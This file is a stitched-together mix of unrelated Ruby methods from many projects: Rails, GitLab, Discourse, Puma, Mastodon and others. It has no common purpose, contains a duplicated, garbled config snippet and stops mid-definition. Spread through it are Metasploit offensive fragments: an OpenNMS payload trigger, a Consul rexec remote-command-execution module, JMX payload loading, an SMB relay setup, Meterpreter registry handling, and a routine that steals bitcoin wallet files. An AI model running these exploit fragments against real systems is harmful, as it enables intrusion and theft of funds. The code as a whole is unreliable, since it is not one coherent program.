def namespaced_target
      if relative?
        relative(namespaced_feature)
      else
        namespaced_feature
      end
    end


def render_notification_or_error(notification, error:)
    capture { yield(notification) }
  rescue StandardError => e
    raise if Rails.env.development?

    Honeybadger.notify(e, context: { notification_id: notification.id })
    capture { render error }
  end


def installed?
        return beta_tester_state == BetaTesterState::INSTALLED
      end


def job_cleanup_proc(ctx)
    exploit, payload = ctx

    # Ensure that, no matter what, clean up of the handler occurs
    semaphore.synchronize { payload.stop_handler }

    exploit.framework.events.on_module_complete(exploit)

    # Allow the exploit to cleanup after itself, that messy bugger.
    semaphore.synchronize { exploit.cleanup }
  end


def seed_files
        return seed_root_filename, seed_core_files + seed_plugin_files
      end


def configuration_domain
    tag_hash[ConfigurationDomain]
  end


def start_refresh_worker
    return if refresh_worker_class.nil?

    refresh_worker_class.start_worker_for_ems(self)
  end


def increment_project_counter(project, object_type, operation, value)
          counter_key = PROJECT_COUNTER_KEY % {
            project: project.id,
            operation: operation,
            object_type: object_type
          }

          add_counter_to_list(project, operation, counter_key)

          CACHING.increment_by(counter_key, value, timeout: IMPORT_CACHING_TIMEOUT)
        end


def validate_size!(size)
        return unless file_size_limit > 0 && size.to_i > file_size_limit

        raise_error format(
          "File size %{size} exceeds limit of %{limit}",
          size: ActiveSupport::NumberHelper.number_to_human_size(size),
          limit: ActiveSupport::NumberHelper.number_to_human_size(file_size_limit)
        )
      end


def test_config_file
    control_cli = Puma::ControlCLI.new ["--config-file", "test/config/state_file_testing_config.rb", "halt"]
    assert_equal "t3-pid", control_cli.instance_variable_get(:@pidfile)
  ensure
    File.unlink "t3-pid" if File.file? "t3-pid"
  end


def execute_hooks(data, hooks_scope = :push_hooks)
    run_after_commit_or_now do
      triggered_hooks(hooks_scope, data).execute
      SystemHooksService.new.execute_hooks(data, hooks_scope)
    end
  end


def btree_indexes
      return @btree_indexes if @btree_indexes

      # We only scan non-conditional btree indexes
      @btree_indexes = indexes.select do |index|
        index.using == :btree && index.where.nil? && index.opclasses.blank?
      end

      @btree_indexes = @btree_indexes.map { |index| self.class.btree_index_struct(index) }
    end


def setup
    @base = create_base

    # filters template uses :sass
    # Sass::Plugin.options.update(:line_comments => true, :style => :compact)
  end


def lowercased_words_to_look_for
      ["tacos", "puppies", "taquitos"].map(&:downcase)
    end


def execute_command(cmd, _opts = {})
    # Write the payload to a .bsh file
    write_payload_to_bsh_file(cmd)

    print_status('Triggering the notification to execute the payload')
    # Trigger the notification by performing a login attempt using random credentials
    success, message = opennms_login('exploit', perform_invalid_login: true)
    if success
      print_status(message)
    else
      print_error(message)
    end
  end


def run_at
      Time.at(@hsh["run_at"])
    end


def api_support?
        (defines_get? && defines_post?) || defines_put?
      end


def calculate_reversed_order(order_expression)
          unless order_expression.is_a?(Arel::Nodes::Ordering)
            raise "Couldn't determine reversed order for `#{order_expression}`, please provide the `reversed_order_expression` parameter."
          end

          order_expression.reverse
        end


def generate_performance_results(options = {})
    if performance[:group_by_category] && performance[:interval_name]
      results, extras[:interval] = db_class.vms_by_category(performance)
    else
      results, extras[:group_by_tag_cols], extras[:group_by_tags] = db_class.group_by_tags(
        db_class.find_entries(ext_options).where(where_clause).where(options[:where_clause]),
        :category  => performance[:group_by_category],
        :cat_model => options[:cat_model]
      )
      build_correlate_tag_cols
    end
    results
  end


def require_environment
          require "#{app_path}/config/environment"
        end


def code_dropdown_ide_data
    {
      gitpod_enabled: current_user&.gitpod_enabled || false,
      show_web_ide_button: show_web_ide_button?,
      show_gitpod_button: show_gitpod_button?,
      web_ide_url: web_ide_url,
      gitpod_url: gitpod_url
    }
  end


def create_conversations
    conversation_creator = Seeders::Reports::ConversationCreator.new(
      account: @account,
      resources: {
        contacts: @contacts,
        inboxes: @inboxes,
        teams: @teams,
        labels: @labels,
        agents: @agents
      }
    )

    TOTAL_CONVERSATIONS.times do |i|
      created_at = Faker::Time.between(from: START_DATE, to: END_DATE)
      conversation_creator.create_conversation(created_at: created_at)

      completion_percentage = ((i + 1).to_f / TOTAL_CONVERSATIONS * 100).round
      print "\rCreating conversations: #{i + 1}/#{TOTAL_CONVERSATIONS} (#{completion_percentage}%)"
    end

    print "\n"
  end


def has_lfs_version_key?
        !empty? && text_in_repo? && data.start_with?("version https://git-lfs.github.com/spec")
      end


def list_params
    params.permit(:locale, :query, :page, :category_slug, :status, :author_id)
  end


def pundit_reset!
      @pundit = nil
      @_pundit_policies = nil
      @_pundit_policy_scopes = nil
      @_pundit_policy_authorized = nil
      @_pundit_policy_scoped = nil
    end


def root_of_or_node(or_node)
          return or_node unless or_node.parent

          if or_node.parent.or_type?
            root_of_or_node(or_node.parent)
          else
            or_node
          end
        end


def test_symbolize_keys_for_hash_with_indifferent_access
    assert_instance_of Hash, @symbols.with_indifferent_access.symbolize_keys
    assert_equal @symbols, @symbols.with_indifferent_access.symbolize_keys
    assert_equal @symbols, @strings.with_indifferent_access.symbolize_keys
    assert_equal @symbols, @mixed.with_indifferent_access.symbolize_keys
  end


def change
    add_column :organizations, :bg_color_hex, :string
    add_column :organizations, :text_color_hex, :string

  end


def self.upload(klass, fd)
    klass = Object.const_get(klass.to_s)
    raise _("%{name} not supported for upload!") % {:name => klass} unless REQUIRED_COLS.key?(klass)
    raise _("%{name} not supported for upload!") % {:name => klass} unless MATCH_KEYS.key?(klass)

    data, keys, tags = MiqBulkImport.upload(fd, REQUIRED_COLS[klass], MATCH_KEYS[klass].dup)

    import = new(:data => data, :keys => keys, :tags => tags, :klass => klass)
    import.verify
    import
  end


def test_delete_all_with_group_by_and_having
    minimum_comments_count = 2
    posts_to_be_deleted = Post.most_commented(minimum_comments_count).all.to_a
    assert_operator posts_to_be_deleted.length, :>, 0

    assert_difference("Post.count", -posts_to_be_deleted.length) do
      Post.most_commented(minimum_comments_count).delete_all
    end

    posts_to_be_deleted.each do |deleted_post|
      assert_raise(ActiveRecord::RecordNotFound) { deleted_post.reload }
    end
  end


def write(msg)
    @output.puts 'Custom logging: ' + msg
    @output.flush
  end


def find_referable(reference)
        extractor = Gitlab::ReferenceExtractor.new(source_parent_param[:project], @current_user)
        extractor.analyze(reference, **source_parent_param)
        extractor.all.first
      end


def relay_targets
    Msf::Exploit::Remote::SMB::Relay::TargetList.new(
      :smb,
      rport,
      datastore['RHOSTS'],
      randomize_targets: datastore['RANDOMIZE_TARGETS']
    )
  end


def test?
      @options[:environment] == "test"
    end


def test_strict_validation_custom_exception
    Topic.validates_presence_of :title, strict: CustomStrictValidationException
    assert_raises CustomStrictValidationException do
      Topic.new.valid?
    end
  end


def test_forbidden_attributes_cannot_be_used_for_sti_inheritance_column
    params = ProtectedParams.new(type: "Client")
    assert_raises(ActiveModel::ForbiddenAttributesError) do
      Company.new(params)
    end
  end


def activatable?
      user.new_record? || user.invited? || user.registered?
    end


def ensure_same_user!
    if @posts.map(&:user_id).uniq.size != 1
      raise CannotMergeError.new(I18n.t("merge_posts.errors.different_users"))
    end
  end


def test_fetching_association_should_delegate_to_normal_association_fetcher_if_normal_association_is_loaded
    # Warm the ActiveRecord association
    @record.associated

    assert_memcache_operations(0) do
      assert_equal(@baz, @record.fetch_associated)
    end
  end


def stub_ssh_file(filename)
    FileUtils.mkdir_p(ssh_dir)
    FileUtils.touch(File.join(ssh_dir, filename))
  end


def login(user, pass)
    vprint_status "STEP 2: Authenticating as #{user} ..."
    # get session cookie (PHPSESSID)
    res = send_request_cgi!(
      'method' => 'GET',
      'uri' => '/login.php'
    )
    @cookie = res.get_cookies
    if @cookie.empty?
      fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies'
      return
    end
    # authenticate
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/lib/crud/userprocess.php'),
      'cookie' => @cookie,
      'vars_post' => {
        pass: pass,
        user: user,
        sublogin: 1
      }
    )
    unless res
      print_warning('Failed to authenticate: Connection failed.')
      return
    end
    print_good "Authenticated as user #{user}"
  end


def file_finished(_file, offenses)
        offenses.each { |o| @offense_counts[o.cop_name] += 1 }
        if options[:display_style_guide]
          offenses.each { |o| @style_guide_links[o.cop_name] ||= o.message[/ \(http\S+\)\Z/] }
        end
        @offending_files_count += 1 unless offenses.empty?
        @progressbar.increment if instance_variable_defined?(:@progressbar)
      end


def test_on_booted_and_on_stopped
    skip_unless_signal_exist? :TERM

    cli_server "test/rackup/hello.ru", no_wait: true, config: <<~CONFIG
      on_booted  { STDOUT.syswrite "on_booted called\n"  }
      on_stopped { STDOUT.syswrite "on_stopped called\n" }
    CONFIG

    assert wait_for_server_to_include('on_booted called')

    Process.kill :TERM, @pid

    assert wait_for_server_to_include('on_stopped called')

    wait_server 15
  end

on_booted  { STDOUT.syswrite "on_booted called
"  }

on_stopped { STDOUT.syswrite "on_stopped called
" }


def select_comments_only_filter
            select_filter_with_type('ONLY_COMMENTS')

            wait_until do
              has_element?('work-item-filter', text: 'Comments only')
            end
          end


def test_named_route_with_path_prefix
    rs.draw do
      scope "my" do
        get "page" => "content#show_page", :as => "page"
      end
    end

    assert_equal("http://test.host/my/page", setup_for_named_route.page_url)
  end


def after_confirmation_path_for(_resource_name, user)
    if user.created_by_application && redirect_to_app?
      user.created_by_application.confirmation_redirect_uri
    elsif user_signed_in?
      web_url('start')
    else
      new_user_session_path
    end
  end


def pkcs12(options = {}, &block)
      stored_pkcs12_array = filter_pkcs12(options).map do |pkcs12_entry|
        StoredPkcs12.new(pkcs12_entry)
      end

      stored_pkcs12_array.each do |stored_pkcs12|
        block.call(stored_pkcs12) if block_given?
      end

      stored_pkcs12_array
    end


def max_bytes
        Gitlab::CurrentSettings.current_application_settings.max_decompressed_archive_size.megabytes
      end


def levels
    @notification_levels ||= TopicUser.notification_levels
  end


def generate_article_search_terms
    messages = [
      { role: 'system', content: article_to_search_terms_prompt },
      { role: 'user', content: "title: #{title} \n description: #{description} \n content: #{content}" }
    ]
    headers = { 'Content-Type' => 'application/json', 'Authorization' => "Bearer #{ENV.fetch('OPENAI_API_KEY', nil)}" }
    body = { model: 'gpt-4o', messages: messages, response_format: { type: 'json_object' } }.to_json
    Rails.logger.info "Requesting Chat GPT with body: #{body}"
    response = HTTParty.post(openai_api_url, headers: headers, body: body)
    Rails.logger.info "Chat GPT response: #{response.body}"
    JSON.parse(response.parsed_response['choices'][0]['message']['content'])['search_terms']
  end


def change
    create_table :topic_chats do |t|
      t.integer :topic_id, null: false, index: true, unique: true
      t.datetime :deleted_at
      t.integer :deleted_by_id

      t.integer :featured_in_category_id
      t.integer :delete_after_seconds, default: nil
    end

    create_table :topic_chat_messages do |t|
      t.integer :topic_id, null: false
      t.integer :post_id, null: false, index: true
      t.integer :user_id, null: true
      t.timestamps
      t.datetime :deleted_at
      t.integer :deleted_by_id
      t.integer :in_reply_to_id, null: true
      t.text :message
    end

    add_index :topic_chat_messages, %i[topic_id created_at]
  end


def test_resources_with_format_false_from_scope
    draw do
      scope format: false do
        resources :posts
        resource :user
      end
    end

    get "/posts"
    assert_response :success
    assert_equal "posts#index", @response.body
    assert_equal "/posts", posts_path

    get "/posts.html"
    assert_response :not_found
    assert_equal "Not Found", @response.body
    assert_equal "/posts?format=html", posts_path(format: "html")

    get "/user"
    assert_response :success
    assert_equal "users#show", @response.body
    assert_equal "/user", user_path

    get "/user.html"
    assert_response :not_found
    assert_equal "Not Found", @response.body
    assert_equal "/user?format=html", user_path(format: "html")
  end


def repository_route_regex
      @repository_route_regex ||= /(#{full_namespace_route_regex}|#{personal_snippet_repository_path_regex})\.*/
    end


def has_event_height?(title, expected_height)
          height = get_event_height(title)
          height >= expected_height - 1 && height <= expected_height + 1
        end


def size
        @adap.size
        rescue
          raise GenericError, $!
      end


def lateral(table_name = nil)
      base = table_name.nil? ? ast : as(table_name)
      Nodes::Lateral.new(base)
    end


def peek_release_header?
          @buffer.peek(RELEASE_HEADER.length) == RELEASE_HEADER
        end


def initialize_visit(point)
      {
        start_time: point.timestamp,
        end_time: point.timestamp,
        center_lat: point.lat,
        center_lon: point.lon,
        points: [point]
      }
    end


def create_pipelines!
    branches = project.repository.branches.sample(15)
    pipeline_statuses = [:success, :failed]

    branches.each do |branch|
      FactoryBot.create(
        :ci_pipeline,
        pipeline_statuses.sample,
        project: project,
        ref: branch.name,
        sha: branch.target,
        created_at: random_past_date,
        duration: rand(10).hours
      )
    end
  end


def database_engine
      raw_query = <<~SQL
        SELECT engine
        FROM system.databases WHERE name = {database_name: String}
        LIMIT 1
      SQL

      placeholders = { database_name: database_name }

      query = ClickHouse::Client::Query.new(raw_query: raw_query, placeholders: placeholders)

      # Falling back to 'Atomic' engine if we cannot determine the DB engine.
      # This fallback will likely never happen as the application wouldn't be
      # able to boot up without an existing database.
      select(query).first['engine'] || 'Atomic'
    end


def actor
    ActivityPub::TagManager.instance.uri_for(object.account)
  end


def valid_audience_segment_match
    return if audience_segment.blank? || audience_segment_type.blank?

    errors.add(:audience_segment_type) if audience_segment.type_of.to_s != audience_segment_type.to_s
  end


def self.included(base)
          super

          base.class_eval do
            view 'app/assets/javascripts/super_sidebar/components/super_sidebar.vue' do
              element 'super-sidebar'
            end

            view 'app/assets/javascripts/super_sidebar/components/create_menu.vue' do
              element 'new-menu-toggle'
            end

            view 'app/assets/javascripts/super_sidebar/components/menu_section.vue' do
              element 'menu-section-button'
              element 'menu-section'
            end

            view 'app/assets/javascripts/super_sidebar/components/nav_item.vue' do
              element 'nav-item-link'
            end
          end
        end


def no_results_possible?(args)
      group.nil? || some_argument_is_empty?(args)
    end


def raise_not_found_unless_authorized(result)
    result = if_authorized(result)

    unless result
      # This fetches the model from the `ActiveRecord::Relation` but does not
      # actually execute the query.
      model = execute.model
      raise ActiveRecord::RecordNotFound, "Couldn't find #{model}"
    end

    result
  end


def test_disable_extension_raises_when_dependent_objects_exist
    @connection.enable_extension("hstore")
    @connection.create_table(:hstores) do |t|
      t.hstore :settings
    end

    error = assert_raises(StandardError) do
      @connection.disable_extension(:hstore)
    end
    assert_match(/cannot drop extension hstore because other objects depend on it/i, error.message)
  ensure
    @connection.drop_table(:hstores, if_exists: true)
  end


def test_variable_traversing_with_two_brackets
    source = "{{ site.data.menu[include.menu][include.locale] }}"
    assert_template_result("it works!", source, {
      "site" => { "data" => { "menu" => { "foo" => { "bar" => "it works!" } } } },
      "include" => { "menu" => "foo", "locale" => "bar" },
    })
  end


def execute
    return unless failed_package_and_test_pipeline

    add_discussion_to_mr
  end


def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Hashicorp Consul Remote Command Execution via Rexec",
        'Description' => %q{
          This module exploits a feature of Hashicorp Consul named rexec.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC
          'Francis Alexander <helofrancis[at]gmail.com>', # Discovery and PoC
          'Quentin Kaiser <kaiserquentin[at]gmail.com>' # Metasploit module
        ],
        'References' => [
          [ 'URL', 'https://www.consul.io/docs/agent/options.html#disable_remote_exec' ],
          [ 'URL', 'https://www.consul.io/docs/commands/exec.html'],
          [ 'URL', 'https://github.com/torque59/Garfield' ]
        ],
        'Platform' => 'linux',
        'Targets' => [ [ 'Linux', {} ] ],
        'Payload' => {},
        'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'wget', 'curl' ],
        'Privileged' => false,
        'DefaultTarget' => 0,
        'DisclosureDate' => '2018-08-11',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path', '/']),
        OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),
        OptInt.new('TIMEOUT', [false, 'The timeout to use when waiting for the command to trigger', 20]),
        OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),
        Opt::RPORT(8500)
      ]
    )
  end


def initialize(storage:, selected:)
        super
        @storage = storage
        @selected = selected
      end


def initialize(response = nil, message = nil)
      @response = response
      super(message || response&.body)
    end


def test_parse_single_test_no_name_no_holiday
    input = [ { "given" => { "date" => "2016-01-01", "regions" => ['us']}, "expect" => { "holiday" => false } } ]
    @validator.expects(:valid?).with({:dates => ["2016-01-01"], :regions=> ['us'], :name => nil, :options => nil, :holiday => false}).returns(true)

    result = @parser.call(input)

    assert_equal(1, result.size)

    test = result.first
    assert(test)

    assert(test.is_a?(Holidays::Definition::Entity::Test))
    assert_equal([DateTime.parse('2016-01-01')], test.dates)
    assert_equal([:us], test.regions)
    assert_nil(test.options)
    assert_nil(test.name)
    assert_equal(false, test.holiday?)
  end


def load_payload(conn_stub)
    vprint_status("Getting JMXPayload instance...")

    begin
      res = send_jmx_get_object_instance(
        object_number: conn_stub[:object_number],
        uid_number: conn_stub[:uid].number,
        uid_time: conn_stub[:uid].time,
        uid_count: conn_stub[:uid].count,
        name: "#{@mlet}:name=jmxpayload,id=1"
      )
    rescue ::Rex::Proto::Rmi::Exception => e
      case e.message
      when 'javax.management.InstanceNotFoundException'
        vprint_warning("JMXPayload instance not found, trying to load")
        return load_payload_from_url(conn_stub)
      else
        vprint_error("getObjectInstance returned unexpected exception #{e.message}")
        return false
      end
    end

    return false if res.nil?

    true
  end


def level
      @broadcasts.map(&:level).min
    end


def up
    with_lock_retries do
      remove_foreign_key_if_exists(:vulnerability_state_transitions, :projects,
        name: FOREIGN_KEY_NAME, reverse_lock_order: true)
    end
  end


def direct_vm_or_template_ids
    direct_vm_ids + direct_miq_template_ids
  end


def <=>(other)
        name <=> other.name
      end


def move_after(target, source)
      source_index = assert_index(source, :after)
      source_middleware = middlewares.delete_at(source_index)

      target_index = assert_index(target, :after)
      middlewares.insert(target_index + 1, source_middleware)
    end


def unseen_filter(list, user_first_seen_at, whisperer)
    list = list.where("topics.bumped_at >= ?", user_first_seen_at)

    col_name = whisperer ? "highest_staff_post_number" : "highest_post_number"
    list.where("tu.last_read_post_number IS NULL OR tu.last_read_post_number < topics.#{col_name}")
  end


def create
    @note = Notes::CreateService.new(note_project, current_user, create_note_params).execute

    respond_to do |format|
      format.json do
        json = {
          commands_changes: @note.commands_changes&.slice(:emoji_award, :time_estimate, :spend_time)
        }

        if @note.persisted? && return_discussion?
          json[:valid] = true

          discussion = @note.discussion
          prepare_notes_for_rendering(discussion.notes)
          json[:discussion] = discussion_serializer.represent(discussion, context: self)
        else
          prepare_notes_for_rendering([@note])

          json.merge!(note_json(@note))
        end

        quick_actions = @note.quick_actions_status
        json[:quick_actions_status] = quick_actions.to_h if quick_actions

        if @note.errors.present?
          render json: { errors: errors_on_create(@note) }, status: :unprocessable_entity
        elsif quick_actions&.error?
          render json: { quick_actions_status: quick_actions.to_h }, status: :unprocessable_entity
        else
          render json: json
        end
      end
      format.html { redirect_back_or_default }
    end
  end


def meterpreter_registry_loadkey(key, file)
    begin
      client.sys.config.getprivs()
      root_key, base_key = session.sys.registry.splitkey(key)
      begin
        loadres = session.sys.registry.load_key(root_key, base_key, file)
      rescue Rex::Post::Meterpreter::RequestError => e
        case e.to_s
        when "stdapi_registry_load_key: Operation failed: 1314"
          #print_error("You appear to be lacking the SeRestorePrivilege. Are you running with Admin privs?")
          return false
        when "stdapi_registry_load_key: Operation failed: The system cannot find the path specified."
          #print_error("The path you provided to the Registry Hive does not Appear to be valid: #{file}")
          return false
        when "stdapi_registry_load_key: Operation failed: The process cannot access the file because it is being used by another process."
          #print_error("The file you specified is currently locked by another process: #{file}")
          return false
        when /stdapi_registry_load_key: Operation failed:/
          #print_error("An unknown error has occurred: #{loadres.to_s}")
          return false
        else
          return true
        end
      end

    rescue
      return false
    end
  end


def down
    # rubocop:disable Migration/WithLockRetriesDisallowedMethod -- copied from helpers
    with_lock_retries do
      drop_sync_trigger(:uploads)
    end
    # rubocop:enable Migration/WithLockRetriesDisallowedMethod
  end


def on_module(node)
          check_method_definition(node)

          # Not sure why some module would have an extra begin wrapping around
          node.each_child_node(:begin) do |begin_node|
            check_method_definition(begin_node)
          end
        end


def latest_wal_locations
          return {} unless job_wal_locations.present?

          strong_memoize(:latest_wal_locations) do
            get_cookie.fetch('wal_locations', {})
          end
        end


def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Linux Gather Protection Enumeration',
        'Description' => %q{
          This module checks whether popular system hardening mechanisms are
          in place, such as SMEP, SMAP, SELinux, PaX and grsecurity. It also
          tries to find installed applications that can be used to hinder,
          prevent, or detect attacks, such as tripwire, snort, and apparmor.

          This module is meant to identify Linux Secure Modules (LSM) in addition
          to various antivirus, IDS/IPS, firewalls, sandboxes and other security
          related software.
        },
        'License' => MSF_LICENSE,
        'Author' => 'ohdae <bindshell[at]live.com>',
        'Platform' => ['linux'],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )
  end


def report_exploit_failure(opts)
    return unless opts[:refs].present? && opts[:host].present?

    host = opts[:host]
    wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
    opts = opts.clone()
    port = opts[:port]
    proto = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
    svc = opts[:service]
    rids = opts.delete(:ref_ids) || []

    opts[:refs].each do |ref|
      if ref.instance_of?(Mdm::Module::Ref)
        str = ref.name
      elsif (ref.respond_to?(:ctx_id)) && (ref.respond_to?(:ctx_val))
        str = "#{ref.ctx_id}-#{ref.ctx_val}"
      elsif (ref.is_a?(Hash) && ref[:ctx_id] && ref[:ctx_val])
        str = "#{ref[:ctx_id]}-#{ref[:ctx_val]}"
      elsif ref.is_a?(String)
        str = ref
      end
      rids << find_or_create_ref(name: str) unless str.nil?
    end

    # Look up the service as appropriate
    if port && svc.nil?
      # only one result can be returned, as the +port+ field restricts potential results to a single service
      svc = services(:workspace => wspace,
                     :hosts => {address: host},
                     :proto => proto,
                     :port => port).first
    end

    # Look up the host as appropriate
    if !host || !host.kind_of?(::Mdm::Host)
      if svc&.kind_of? ::Mdm::Service
        host = svc.host
      else
        host = get_host(workspace: wspace, address: host)
      end
    end

    # Bail if we dont have a host object
    return unless host

    vuln = nil
    if rids.present?
      # Try to find an existing vulnerability with the same service & references
      # or, if svc is nil, with the same host & references
      vuln = find_vuln_by_refs(rids, host, svc, false)
    end

    opts[:service] = svc
    opts[:host] = host
    opts[:vuln] = vuln if vuln

    do_report_failure_or_success(opts)
  end


def test_unrelated_load_error
      app_file "test/models/account_test.rb", <<-RUBY
        require "test_helper"

        require "does-not-exist"

        class AccountsTest < ActiveSupport::TestCase
          def test_truth
            assert true
          end
        end
      RUBY

      output = run_test_command("test/models/account_test.rb")
      assert_match("cannot load such file -- does-not-exist", output)
      assert_not_predicate $?, :success?
    end


def cache_checksums
            @cache_checksums ||= self.class.fetch_checksums_for(work_packages)
          end


def last_answerer
      BasicUserSerializer.new(object.topic.last_answerer, scope: scope, root: false).as_json
    end


def merge!(other, *rest) # :nodoc:
      if other.is_a?(Hash)
        Relation::HashMerger.new(self, other).merge
      elsif other.is_a?(Relation)
        Relation::Merger.new(self, other).merge
      elsif other.respond_to?(:to_proc)
        instance_exec(&other)
      else
        raise ArgumentError, "#{other.inspect} is not an ActiveRecord::Relation"
      end
    end


def hours=(arr)
    arr = arr.collect(&:to_i)
    profile_will_change! if profile[:hours] != arr
    profile[:hours] = arr
  end


def compare_test_reports
    unless has_test_reports?
      return { status: :error, status_reason: 'This merge request does not have test reports' }
    end

    compare_reports(Ci::CompareTestReportsService)
  end


def run
      # Delete all Notifications related to Articles that don't exist anymore
      ActiveRecord::Base.connection.execute(
        <<~SQL.squish,
          DELETE FROM notifications
          WHERE notifiable_type = 'Article'
          AND notifiable_id NOT IN (SELECT id FROM articles);
        SQL
      )
    end


def parallel_worker_id
      self.class.parallel_worker_id
    end


def test_middleware_caches
    mw = middleware { |env|
      Task.find 1
      Task.find 1
      query_cache = ActiveRecord::Base.connection_pool.query_cache
      assert_equal 1, query_cache.size, query_cache.inspect
      [200, {}, nil]
    }
    mw.call({})
  end


def wrap_in_figure(element)
        element.wrap("<figure>") unless element.parent&.name == "figure"
      end


def work_package_field(key)
      case key
      when /customField(\d+)$/
        work_package_custom_field(key, $1)
      when :date, :startDate, :dueDate, :combinedDate
        DateEditField.new container, key, is_milestone: work_package&.milestone?
      when :estimatedTime, :remainingTime, :percentageDone, :statusWithinProgressModal
        ProgressEditField.new container, key, create_form: create_page?
      when :description
        TextEditorField.new container, key
        # The AbstractWorkPackageCreate pages do not require a special WorkPackageStatusField,
        # because the status field on the create pages is a simple EditField.
      when :status
        if create_page?
          EditField.new container, key, create_form: true
        else
          WorkPackageStatusField.new container
        end
      else
        EditField.new container, key, create_form: create_page?
      end
    end


def test_multiple_line_filters
    create_test_file "account"
    create_test_file "post"

    run_test_command("test/account_test.rb:4 test/post_test.rb:4").tap do |output|
      assert_match "AccountTest", output
      assert_match "PostTest", output
    end
  end


def append(chunk)
        chunk = chunk.dup unless chunk.frozen?
        @body << chunk

        if @length
          @length += chunk.bytesize
        elsif @buffered
          @length = chunk.bytesize
        end

        return chunk
      end


def annotation?
        keyword_appearance? && !just_keyword_of_sentence?
      end


def fetch_metadata_from_ancestors(example, attribute)
      metadata = [example.metadata[attribute]]
      example_group = example.metadata[:example_group]

      loop do
        break if example_group.nil?

        metadata << example_group[attribute]
        example_group = example_group[:parent_example_group]
      end

      metadata
    end


def process_forwarded_email(destination, user)
      user ||= stage_from_user
      case SiteSetting.forwarded_emails_behaviour
      when "create_replies"
        forwarded_email_create_replies(destination, user)
      when "quote"
        forwarded_email_quote_forwarded(destination, user)
      else
        false
      end
    end


def copy_tax_category
      self.tax_category = variant.tax_category if variant
    end


def merge_request_metrics_service(merge_request)
      MergeRequestMetricsService.new(merge_request.metrics)
    end


def self.submit_job(options)
    service = options.delete(:service) || "generic"
    resource = options.delete(:affinity)
    case service
    when "automate"
      # options[:queue_name] = "generic"
      options[:role] = service
    when "ems_inventory"
      options[:queue_name] = resource.queue_name_for_ems_refresh
      options[:role]       = service
      options[:zone]       = resource.my_zone
    when "ems_operations"
      options[:role] = service
      options[:zone] = resource.try(:my_zone) || MiqServer.my_zone
      options[:queue_name] = resource.try(:queue_name_for_ems_operations) || "generic"
    when "event"
      options[:queue_name] = "ems"
      options[:role] = service
    when "generic"
      raise ArgumentError, "generic job should have no resource" if resource
      # TODO: can we transition to zone = nil
    when "notifier"
      options[:role] = service
    when "reporting"
      options[:queue_name] = queue_name_for_priority_service(service, options[:priority])
      options[:role] = service
    when "smartproxy"
      options[:queue_name] = "smartproxy"
      options[:role] = "smartproxy"
    when "smartstate"
      options[:role] = service
      options[:zone] = resource.try(:my_zone) || MiqServer.my_zone
    end

    # Note, options[:zone] is set in 'put' via 'determine_queue_zone' and handles setting
    # a nil (any) zone for regional roles.  Therefore, regional roles don't need to set zone here.
    put(options)
  end


def perform
    return unless valid_message?
    return if conversation.additional_attributes['conversation_language'].present?

    text = message.content[0...1500]
    response = client.detect_language(
      content: text,
      parent: "projects/#{hook.settings['project_id']}"
    )

    update_conversation(response)
  end


def authorized_resource_parent_find!(args)
      authorized_find!(project_path: args.delete(:project_path),
        group_path: args.delete(:group_path))
    end


def self.do_api_request(methodName, message)
        http = FinalDestination::HTTP.new("api.telegram.org", 443)
        http.use_ssl = true

        access_token = SiteSetting.chat_integration_telegram_access_token

        uri = URI("https://api.telegram.org/bot#{access_token}/#{methodName}")

        req = Net::HTTP::Post.new(uri, "Content-Type" => "application/json")
        req.body = message.to_json
        response = http.request(req)

        responseData = JSON.parse(response.body)

        responseData
      end


def wait_for(event = nil)
    @connection.wait_for_event(event)
  end


def down
    with_lock_retries do
      remove_foreign_key :project_requirement_compliance_statuses, column: :compliance_requirement_id
    end
  end


def process_hook(options_key, key, block, meth)
      raise ArgumentError, "expected #{meth} to be given a block" unless block

      @options[options_key] ||= []
      if ON_WORKER_KEY.include? key.class
        @options[options_key] << [block, key.to_sym]
      elsif key.nil?
        @options[options_key] << block
      else
        raise "'#{meth}' key must be String or Symbol"
      end
    end


def up
    safety_assured do
      execute <<~SQL.squish
        UPDATE statuses s
        SET deleted_at = r.deleted_at
        FROM statuses r
        WHERE
          s.reblog_of_id = r.id
          AND r.deleted_at IS NOT NULL
      SQL
    end
  end


def jack_wallet(wallet_path)
    data = ''
    wallet_type = case wallet_path
                  when /\.wallet$/
                    :armory
                  when /wallet\.dat$/
                    :satoshi
                  else
                    :unknown
                  end

    if wallet_type == :unknown
      print_error "Unknown wallet type: #{wallet_path}, nothing to do."
      return
    end

    print_status("#{wallet_type.to_s.capitalize} Wallet found at #{wallet_path}")
    print_status("Jackin' wallet...")

    kill_bitcoin_processes if datastore['KILL_PROCESSES']

    begin
      data = read_file(wallet_path) || ''
    rescue StandardError => e
      print_error("Failed to download #{wallet_path}: #{e.class} #{e}")
      return
    end

    if data.empty?
      print_error('No data found, nothing to save.')
    else
      loot_result = store_loot(
        "bitcoin.wallet.#{wallet_type}",
        'application/octet-stream',
        session,
        data,
        wallet_path,
        "Bitcoin Wallet (#{wallet_type.to_s.capitalize})"
      )
      print_status("Wallet jacked: #{loot_result}")
    end
  end


def autoload_paths
        filter_by(&:autoload?)
      end


def set_exit_codes
        parser.separator "\nExit codes:"
        parser.on('--success-exit-code CODE',
                  'The exit code when no smells are found ' \
                  "(default: #{Status::DEFAULT_SUCCESS_EXIT_CODE})") do |option|
          self.success_exit_code = Integer(option)
        end
        parser.on('--failure-exit-code CODE',
                  'The exit code when smells are found ' \
                  "(default: #{Status::DEFAULT_FAILURE_EXIT_CODE})") do |option|
          self.failure_exit_code = Integer(option)
        end
      end


def valid_importable?
